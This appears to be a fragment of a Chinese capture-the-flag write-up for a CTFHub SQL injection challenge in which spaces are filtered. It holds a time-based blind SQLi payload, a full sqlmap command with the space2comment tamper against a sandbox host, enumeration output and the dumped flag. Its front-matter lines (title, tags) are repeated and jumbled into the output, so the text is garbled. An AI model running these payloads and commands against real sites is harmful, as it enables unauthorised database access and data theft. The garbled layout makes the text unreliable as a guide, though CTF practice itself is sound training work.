1
---
2
Parameter: id (GET)
3
    Type: time-based blind
4
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
5
    Payload: id=1 AND (SELECT 9677 FROM (SELECT(SLEEP(5)))ZfwJ)
6
tags: [web渗透]
7
title: 过滤空格
8
title: 过滤空格
9
title: 过滤空格
10
tags: [web渗透]
11
title: 过滤空格
12
tags: [web渗透]
13
---
14
available databases [4]:
15
[*] information_schema
16
[*] mysql
17
[*] performance_schema
18
[*] sqli
19
Database: sqli
20
[2 tables]
21
+------------+
22
| braoolkycm |
23
| news       |
24
+------------+
25
Database: sqli
26
Table: braoolkycm
27
[1 column]
28
+------------+--------------+
29
| Column     | Type         |
30
+------------+--------------+
31
| inybzfejkt | varchar(100) |
32
+------------+--------------+
33
sqlmap -u http://challenge-3de719b11fcb3158.sandbox.ctfhub.com:10800/?id=1 --tamper "space2comment.py" -D sqli -T braoolkycm -C inybzfejkt --dump --thread 10

1
Database: sqli
2
Table: braoolkycm
3
[1 entry]
4
+----------------------------------+
5
| inybzfejkt                       |
6
+----------------------------------+
7
| ctfhub{0691522132f19a6c0aeff1d7} |
8
+----------------------------------+